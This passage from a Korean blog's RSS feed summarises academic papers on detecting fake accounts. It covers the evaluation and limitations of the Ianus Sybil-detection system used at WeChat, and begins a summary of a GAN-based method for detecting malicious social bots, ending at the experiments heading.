srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FebofAC%2FbtrvbfF6H3m%2FBcaU54qetTNwnaenQ4ThNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;585&quot; height=&quot;266&quot; data-origin-width=&quot;1447&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 11] Comparing Ianus, Ianus-Sync, Ianus-Anomaly&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 11]의 a에서 확인할 수 있듯이 두개의 feature중 하나만 사용하는 것보다 둘 다 사용하는 것이 전체적인 성능에 좋음을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왜냐하면 Synchronization based feature와 Anomaly based feature는 서로 complementary 관계에 있기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;5) Feature weights&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 11]의 b에서 확인할 수 있듯이 Ianus에 사용되는 모든 Features 들은 모두 positive한 weights를 가지고 있다. 즉 모든 features들이 Ianus의 성능(sync-anomaly scores 측정)에 positive한 방향으로 영향을 미친다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 OS 버전이라던지, device 정보 들은 공격자들이 쉽게 바꿀 수 있지만, Ianus에 큰 impact를 미치는 features들이다. 따라서 공격자들이 이러한 정보들을 바꾼다면 Ianus 가 우회될 여지가 있긴 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이러한 쉽게 공격자들이 바꿀 수 있는 features들을 모두 제거하고 IP 기반 features등과 같이 공격자들이 수정하기 어려운 features들만 가지고 Ianus를 구현해도 93.6%의 precision과 45.1%의 recall을 나타낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 이 방식을 채택하면 모든 sybils 를 잡을 수는 없겠지만 정확도는 여전히 높은 수준으로 동작 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;6) Ianus vs Ianus-FS&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sync-anomaly score를 기반으로 edge를 그릴때의 threshold 값을 유동적으로 조절할 수 있는 Ianus-FS에서, threshold 값에 따른 성능 변화는 [그림 12]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;threshold값이 4일 경우, 가장 F-score가 높았으며 Ianus 시스템에 비해서는 4% 정도 낮은 F-score를 기록하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1426&quot; data-origin-height=&quot;406&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d3P0py/btru8I3k6Sq/PYVh72oAv2NVz8IBPEjjs1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d3P0py/btru8I3k6Sq/PYVh72oAv2NVz8IBPEjjs1/img.png&quot; data-alt=&quot;[그림 12] Comparing Ianus with Ianus-FS&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d3P0py/btru8I3k6Sq/PYVh72oAv2NVz8IBPEjjs1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd3P0py%2Fbtru8I3k6Sq%2FPYVh72oAv2NVz8IBPEjjs1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;755&quot; height=&quot;215&quot; data-origin-width=&quot;1426&quot; data-origin-height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 12] Comparing Ianus with Ianus-FS&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;7) Ianus vs Iaus-CD&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Louvain method 를 사용하는 Ianus-CD의 경우, [그림 13]에서 볼 수 있듯이 성능적인 면에서는 별 차이가 없지만, 속도적인 면에서 큰 차이가 있기 때문에 Louvain method보다는 weighted node degree based method를 Ianus 에 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1429&quot; data-origin-height=&quot;344&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/8CLCg/btrvaJng4jS/u8xGXulcPaW7t85JFKoj21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/8CLCg/btrvaJng4jS/u8xGXulcPaW7t85JFKoj21/img.png&quot; data-alt=&quot;[그림 13] Comparing Ianus with Ianus-CD&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/8CLCg/btrvaJng4jS/u8xGXulcPaW7t85JFKoj21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F8CLCg%2FbtrvaJng4jS%2Fu8xGXulcPaW7t85JFKoj21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;188&quot; data-origin-width=&quot;1429&quot; data-origin-height=&quot;344&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 13] Comparing Ianus with Ianus-CD&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;8) Ianus vs Ianus-FS-CD&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ianus-FS-CD는 Ianus-FS와 Ianus-CD를 모두 고려한 시스템으로, 총 두개의 threshold 값을 고려하게 된다. feature sum의 값이 4일 경우 가장 성능이 좋았으며, 그 경우 community size의 threshold 변화에 따른 성능은 [그림 14]와 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Precision은 Ianus에 비해 낮고, Recall은 Ianus에 비해 조금 좋은 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1415&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W7AFS/btru9QAaA9y/i2o8bTvakITt4mxTUlKJF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W7AFS/btru9QAaA9y/i2o8bTvakITt4mxTUlKJF0/img.png&quot; data-alt=&quot;[그림 14] Comparing Ianus with Ianus-FS-CD&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W7AFS/btru9QAaA9y/i2o8bTvakITt4mxTUlKJF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW7AFS%2Fbtru9QAaA9y%2Fi2o8bTvakITt4mxTUlKJF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;184&quot; data-origin-width=&quot;1415&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 14] Comparing Ianus with Ianus-FS-CD&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&amp;nbsp;9) Ianus vs popularity-based methods&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP prefix, phone number prefix, device ID attirbutes만을 사용하는 popularity-based methods와 Ianus를 비교한 결과는 [그림 15]와 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체적으로 보았을 때, IP prefix를 사용할 경우 성능이 매우 낮았으며, 나머지의 경우 threshold 값을 늘리면 precision은 증가했으나 recall이 급격히 줄어드는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;종합적인 F-score 지표는 세 시스템 모두 Ianus에 비해 낮은 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1421&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cep8vv/btru0vK0pgh/pFRBKVrfP5ocHwMnzacP21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cep8vv/btru0vK0pgh/pFRBKVrfP5ocHwMnzacP21/img.png&quot; data-alt=&quot;[그림 15] Comparing Ianus with popularity-based methods (IP prefix)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cep8vv/btru0vK0pgh/pFRBKVrfP5ocHwMnzacP21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcep8vv%2Fbtru0vK0pgh%2FpFRBKVrfP5ocHwMnzacP21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;777&quot; height=&quot;216&quot; data-origin-width=&quot;1421&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 15] Comparing Ianus with popularity-based methods (IP prefix)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, Ianus와 Phone number prefix, device ID를 사용한 popularity-based methods를 결합한 시스템에서는 [그림 16]와 같이 Ianus와 거의 동일한 precision으로 더 높은 recall과 F-score를 나타내는 것을 확인할 수 있었다. 이는 Ianus와 Phone-Device popularity based methods가 complementary한 관계로 동작할 수 있음을 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ulSnf/btru9P86lFc/X95Weg7XubkIjoYmCkLYQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ulSnf/btru9P86lFc/X95Weg7XubkIjoYmCkLYQ1/img.png&quot; data-alt=&quot;[그림 16] Comparing Ianus with popularity-based methods (Phone number prefix)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ulSnf/btru9P86lFc/X95Weg7XubkIjoYmCkLYQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FulSnf%2Fbtru9P86lFc%2FX95Weg7XubkIjoYmCkLYQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;807&quot; height=&quot;230&quot; data-origin-width=&quot;1419&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 16] Comparing Ianus with popularity-based methods (Phone number prefix)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;6. Discussion and limitations&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ianus는 적은 cost로도 바꿀수 있는 features 값을 공격자가 조작함으로써 우회될 수 있다. 하지만, 공격자가 조작하기 어려운 features들로만 시스템을 설계해도 나쁘지 않은 성능을 나타내고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, Ianus는 많은 수의 benign users를 Sybils로 가입하게 모으는 crowdturfing 을 통해서도 Ianus를 공격할 수 있지만, crowdturfing을 막는 방식은 따로 있기 때문에 크게 고려하지 않았다. Ianus는 높은 Precision을 가졌지만 recall은 비교적 높지 않다. 이러한 문제를 해결하기 위해서는 다른 타입의 데이터 (content, behavior 등) 역시 활용해야 할 것으로 예상된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;7. Conclusion and future work&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 연구에서는 WeChat의 데이터의 synchronized &amp;amp; abnormal 패턴을 통해 Sybils를 탐지하는 Ianus 시스템을 제안하였다. 각 노드 쌍에 대해 synchronization &amp;amp; anomaly features를 추출하였으며, 이를 통해 graph를 building 하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Ianus는 좋은 성능을 가지며, 효과적으로 Sybil attack을 탐지하는 것을 알 수 있었으며, 실제 WeChat에서 해당 시스템을 채택하기도 하였다. 앞으로 본 연구팀에서는 unsupervised Sybil detection based on registration data에 관한 연구를 수행할 예정이라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;b&gt;Reference&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Dong Yuan, Yuanli Miao, Neil Zhenqiang Gong, Zheng Yang, Qi Li, Dawn Song, Qian Wang, and Xiao Liang, &quot;Detecting Fake Accounts in Online Social Networks at the Time of Registrations.&quot; , In Proceedings of the 2019 ACM SIGSAC Conference on Computer and Communications Security (CCS '19), 2019&lt;/i&gt;&lt;/p&gt;</description>
      <category>논문</category>
      <category>Fake accounts</category>
      <category>OSN</category>
      <category>Sybil</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/122</guid>
      <comments>https://ddongwon.tistory.com/122#entry122comment</comments>
      <pubDate>Sat, 5 Mar 2022 01:51:31 +0900</pubDate>
    </item>
    <item>
      <title>[논문] Detecting Malicious Social Robots with Generative Adversarial Networks</title>
      <link>https://ddongwon.tistory.com/121</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;논문 제목 : Detecting&amp;nbsp;Malicious&amp;nbsp;Social&amp;nbsp;Robots&amp;nbsp;with&amp;nbsp;Generative&amp;nbsp;Adversarial&amp;nbsp;Networks&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0. Abstract&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인터넷 환경에서 Malicious social robots들은 부정적이고 허위 정보를 인터넷 상에서 뿌리는 악행을 저지른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금까지의 연구는 이러한 malicious robots들을 단순 classification을 통해 색출하려고 해왔지만, unbalanced 한 데이터셋 등의 문제 (malicious robots의 데이터가 너무 적음) 만족할만한 성과를 내지는 못하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서는 이러한 데이터셋 불균형의 문제를 해결하기 위해 GAN 네트워크를 통해 데이터를 생성한 뒤 학습하는 방안을 제안한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 제안의 타당성을 검증하기 위해 5가지의 oversampling 기법과 비교를 하였고, 그 결과 GAN을 이용한 방식이 가장 높은 F1 score 성능을 가짐을 보였다. 또한, imbalance degree가 15%가 넘지 않는 이상, GAN 을 사용한 방법이 잘 동작함을 보였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. Introduction&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사회적으로 나쁜 영향을 미치고 있는 malicious robots 문제를 해결하기 위해 여러 classification 모델들이 고안되었지만, 정상적인 사용자에 대한 데이터가 불균형하게 많은 데이터셋 문제 때문에 여러가지 어려움을 겪고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 논문에서는 GAN을 이용해 이러한 데이터 불균형 문제를 해결하고 보다 정확한 모델 학습을 진행할 것이다. 전체 과정을 [그림 1]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lM5AV/btruPblOUml/faigfgr72bUxsub0aCh5dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lM5AV/btruPblOUml/faigfgr72bUxsub0aCh5dk/img.png&quot; data-alt=&quot;[그림 1] 전체 연구 진행 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lM5AV/btruPblOUml/faigfgr72bUxsub0aCh5dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlM5AV%2FbtruPblOUml%2Ffaigfgr72bUxsub0aCh5dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;273&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] 전체 연구 진행 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. Related work&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 연구에서 malicious robots을 탐지하기 위한 ML 기반 연구들이 수행되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 연구들에서 사용한 feature로는, user metadata &amp;amp; content feature, N시간동안 친구 요청 및 응답 횟수, account 정보, 언어 정보 등을 사용하였으며, featrue 정보를 사용하지 않고 click stream 정보를 사용하기도 하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 CNN + LSTM 모델을 사용해 모델을 구성하기도 하였고, 사용자 노드 간의 graph를 통해 sybil attack 을 탐지하는 연구 또한 수행되어왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. Social robot detection based on GANs&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;social robot detection 문제는 사실 binary classification 문제이다. social account의 집합 A = {a1, a2, ... , aA} 가 있을 때 각 account 들은 두개의 원소를 가지는 집합 C = {Cr, Cn} 둘 중에 하나로 분류된다. Cr은 robot account들을 나타내며, Cn 은 정상적인 사용자들의 account 를 나타낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 Cr 의 데이터가 너무 적으므로 GAN을 통해 일종의 augmentation을 진행해준다. 전체 과정은 [그림 2]와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;361&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9I2ye/btruQlBGePr/HOqjemiGQkR32j0lIBKXYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9I2ye/btruQlBGePr/HOqjemiGQkR32j0lIBKXYK/img.png&quot; data-alt=&quot;[그림 2] social robot detection framework&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9I2ye/btruQlBGePr/HOqjemiGQkR32j0lIBKXYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9I2ye%2FbtruQlBGePr%2FHOqjemiGQkR32j0lIBKXYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;824&quot; height=&quot;252&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;361&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] social robot detection framework&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Feature extraction 과정에서는 각 account를 잘 나타내주는 11가지의 feature를 선택하였다. 11가지의 feature로는 average number of topic tags, # of user mentions, # of links, # of retweets, # of favorites, ratio of followers, tweet source, similarity content, similarity of tweet length, similarity of punctuation usage, similarity of stop words 정보를 선정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;1)&lt;/b&gt; &lt;/span&gt;이제 전체 데이터셋을 training set T와 test set S로 나눈 뒤, T를 C_0 라는 모델을 학습시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;2)&lt;/b&gt; &lt;/span&gt;다음으로 T의 일부 데이터로 구성된 데이터셋 F를 이용해 GAN 네트워크인 G*를 학습시킨 뒤, random noise z를 G*을 통해 데이터셋 F`을 생성해낸다. 이제 F`과 T를 이용해 C_a 라는 모델을 학습시킨다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 그냥 원래 imbalance 한 데이터셋으로 학습시킨 모델 C_0와 GAN을 통해 balance를 맞춘 데이터셋으로 학습시킨 모델 C_a를 비교하는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4. Experiments and analyses&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
